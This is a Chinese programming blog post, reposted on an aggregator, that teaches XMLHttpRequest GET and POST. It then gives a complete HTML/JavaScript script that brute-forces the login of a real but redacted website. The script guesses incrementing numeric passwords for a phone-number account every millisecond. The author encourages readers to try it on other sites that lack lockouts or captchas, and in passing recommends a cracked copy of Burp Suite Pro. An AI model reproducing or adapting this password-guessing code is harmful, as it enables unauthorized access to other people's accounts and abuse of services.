用Ajax来get,post数据实现【轻量而高效的】暴力破解_.NET_编程开发_程序员俱乐部

中国优秀的程序员网站程序员频道CXYCLUB技术地图
热搜:
更多>>
 
您所在的位置: 程序员俱乐部 > 编程开发 > .NET > 用Ajax来get,post数据实现【轻量而高效的】暴力破解

用Ajax来get,post数据实现【轻量而高效的】暴力破解

 2013/10/5 20:41:54  alone2013  博客园  我要评论(0)
  • 摘要:前言在.Net环境中,我们常常使用HttpRequest,HttpResponse来发送,交换数据,这个相信不少朋友都用过。但这种方法对于Ajax来说就过于重量级了。可以使用Web,Winform,Console版本,后者效率较高一点,前段时间,园子里有位朋友也做了个【把骗子玩了一把】的示例。【它山之石】:今天把骗子耍了一把-翟士丹StanZhai-博客园http://www.cnblogs.com/jasondan/archive/2013/09/13/3319853.html在
  • 标签:实现 Ajax 破解 数据

前言

在.Net环境中,我们常常使用HttpRequest,HttpResponse来发送,交换数据,这个相信不少朋友都用过。但这种方法对于Ajax来说就过于重量级了。
可以使用Web,Winform,Console版本,后者效率较高一点,前段时间,园子里有位朋友也做了个【把骗子玩了一把】的示例。

【它山之石】:

今天把骗子耍了一把 - 翟士丹 Stan Zhai - 博客园
http://www.cnblogs.com/jasondan/archive/2013/09/13/3319853.html


在.Net中调用各种类库,的确很方便,如果没能够做到多线程的话,效率也是很低的,另一方面,它严重依赖.Net平台。。。

 

近来,刚刚开始接触Ajax,主要练习两个方法 get,post:

XMLHttpRequestGet

<script type="text/javascript">    
            var urlGet = "http://XXXX/login.aspx?"+Math.random();  //get方式提交,加上随机数,避免浏览器缓存而304;        
            var xmlhttpGet;  
var returnData; if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttpGet=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttpGet=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() {  <!-- xmlhttp.readyState有4种状态,0-未初始化,1-读取中,2-已读取,2-交互中,4-完成; -->
                <!-- status为服务器返回的状态码,200-成功 -->
if (xmlhttp.readyState==4 && xmlhttp.status==200) { returnData=xmlhttp.responseText; alert(returnData); } } xmlhttp.open("GET",urlGet,true); xmlhttp.send(); </script>

 

XMLHttpRequestPost

<script type="text/javascript">    
            var url="http://xxxx/login.ashx;        //post方式,浏览器不会缓存,这里不再需要随机参数
            var xmlhttpPost;
            var returnData;
            var toSendData="loginId=xxx&passWord=boy";    //这里是要post的数据,用&号分隔
            
            if (window.xmlhttpPostRequest)
            {// code for IE7+, Firefox, Chrome, Opera, Safari
                xmlhttpPost=new xmlhttpPostRequest();
            }
            else
            {// code for IE6, IE5
                xmlhttpPost=new ActiveXObject("Microsoft.xmlhttpPost");
            }
            xmlhttpPost.onreadystatechange=function()
            {
                if (xmlhttpPost.readyState==4 && xmlhttpPost.status==200) 
                <!-- xmlhttpPost.readyState有4种状态,0-未初始化,1-读取中,2-已读取,2-交互中,4-完成; -->
                <!-- status为服务器返回的状态码,200-成功 -->
                {
                    <!-- returnData=document.getElementById("txtHint").innerHTML=xmlhttpPost.responseText; -->
                    returnData=xmlhttpPost.responseText;
                    alert(returnData);
                }
            }
            xmlhttpPost.open("post",url,true);
            <!-- post数据时,这句话是必须的: -->
            xmlhttpPost.setRequestHeader("Content-Type","application/x-www-form-urlencoded");            
            xmlhttpPost.send(toSendData);
    </script>

 

无尽插柳,柳成荫

看了那篇【今天把骗子玩了一把】的文章加上学习了上面那两个方法之后,想找个什么网站来GET,POST数据玩一玩,于是找到了某网站的一个账号登录页,用Fiddle抓包看了一下,发现,登录时,即使密码错误多次,它都不会把你列为黑名单。。也没有验证码的~~~登录的时候,只要要提供几个参数就可以了,以下为暴力破解的示例,

【为了防止搞跨服务器,我把敏感URL处理了~~各位了解原理后,可以找一些其他网站试试~~切勿做坏事哦,后果自负~~~】

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <title></title>
</head>
<body>
        <p id="time"></p>
        <p id="endtime"></p>
        <p id="txtHint"></p>      
        <p id="curPwd"></p>
        <p id="ok"></p>    
        
    <button onclick="startTask()">startTask</button>
       
    <button onclick="stopTask()">stopTask</button>

    <script type="text/javascript">
    
        document.getElementById("time").innerHTML = new Date();

        var __VIEWSTATE=null;
        var loginName=手机号码;            
        var pwd=100000;                     
        var timerid = null;                //用来做定时器       
        
        function stopTask() {
            clearInterval(timerid);
        }

        function startTask() {
            timerid = window.setInterval(   //达到循环调用的效果;
                //while(true)        //与.Net环境不同,用while,直接卡死
                //{
                function startCrack() 
                {                
                    var urlGet = "http:XXXXX/login.xxx?"+Math.random();  //get方式提交,加上随机数,避免浏览器缓存而304;
                    var urlPost = "http:XXXXX/login.xxx";                
                    
                    var returnData;                   
                    var xmlHttpGet;
                    var xmlHttpPost;

                    if (window.XMLHttpRequest) {   //code for IE7+,Firebox,Chrome,Opera,Safari

                        xmlHttpGet = new XMLHttpRequest();

                        xmlHttpPost = new XMLHttpRequest();
                    }
                    else {

                        xmlHttpGet = new ActiveXObject("Microsoft.XMLHTTP");

                        xmlHttpPost = new ActiveXObject("Microsoft.XMLHTTP");
                    }

                    xmlHttpGet.onreadystatechange = function () 
                    {
                        if (xmlHttpGet.readyState == 4)             //get方式,获取__VIEWSTATE
                        {
                            if (xmlHttpGet.status == 200)         //在VisualStudio中运行不能起作用的,异域问题?
                            {
                                e = document.createElement('div');
                                e.style.display="none"; 
                                e.innerHTML = xmlHttpGet.responseText;                                
                                document.body.insertBefore(e,null);
                                //alert(document.getElementsByName('__VIEWSTATE')[0].value);                                
                                __VIEWSTATE=document.getElementsByName('__VIEWSTATE')[0].value;
                                                 
                              
                              xmlHttpPost.onreadystatechange = function ()         //post方式,提交表单数据;
                             {
                                if (xmlHttpPost.readyState == 4) 
                                {
                                    document.getElementById("curPwd").innerHTML=pwd;                                
                                    if (xmlHttpPost.status == 200)
                                    {
                                    
                                    
                                    //document.getElementById('ok').innerHTML=xmlHttpPost.responseText;
                                    
                                    
                                    document.getElementById("time").innerHTML = new Date();
                                        if (xmlHttpPost.status == 302)  //密码正确后,返回302,但无法进入到这一句;
                                        {    
                                            document.getElementById("time").innerHTML = new Date();
                                            alert("scucess! Pw is:"+pwd);
                                            clearInterval(timerid);        //执行后,达不到马上停止的效果,这里暂时用多句来减缓,要改善
                                            clearInterval(timerid);
                                            clearInterval(timerid);
                                            clearInterval(timerid);
                                            clearInterval(timerid);
                                            clearInterval(timerid);
                                        }
                                    }
                                 }
                            }
                                xmlHttpPost.open("post", urlPost, true);
                                xmlHttpPost.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");  //post方式要设置httpHeader的类型;                    
                    
                                var toSendData = "__VIEWSTATE="+encodeURIComponent(__VIEWSTATE)+"&edtUserCode="+loginName+"&edtPWD="+pwd+"&ddlbLoginMode=xxxxxxx&btnLogin=%B5%C7%C2%BC";
                     
                                xmlHttpPost.send(toSendData);                                
                                pwd++;
                            }
                        }
                    }
                    xmlHttpGet.open("GET", urlGet, true);
                    xmlHttpGet.send();                   
                }                        
            , 1      //单位是ms; 
        );    
    }
    </script>
</body>
</html>

万事俱备,只欠东风。。。

现在,把上面的代码修改一下保存为HTML文件,在IE浏览器中运行便可以看到效果(CPU差的慎测,小心卡住,没响应~~)

【问题0】非IE不能获取服务器返回的数据,【跨域】问题?请老鸟说一说!

【问题1】上面有个缺憾是,当验证密码通过(用Fiddle抓包可以看到状态码为:302)之后,它不能检查到,所以跳不出来。。。

【问题2】上面是用window.setInterval(XX,1)来达到循环调用的,但用 clearInterval(timerid);来清除,往往不能马上停止,用什么方法比较好解决?

百家争鸣

如今,Web技术很多,就拿简单的HTTP,GET,POST数据来说,可以用.Net,Java等,或者直接用第三方Web安全检测工具,如著名的:burpsuitepro_v1.4_professional_cracked,可以很快地实现GET,POST数据。

但说到轻量级的,有与Javascript为辅助的Ajax争锋么?一个3KB左右的文件,加上一个IE6以上的浏览器,就可以实现了,如果处理一下上面的那个【问题0】,兼容其它浏览器的话,还可以做到跨平台了哦~~~一次编写,到处运行~~~

 

此文纯属抛砖引玉,望各位不要见笑,期望你们的精彩回复!群策群力,解决上面提到的那几个问题。

发表评论
用户名: 匿名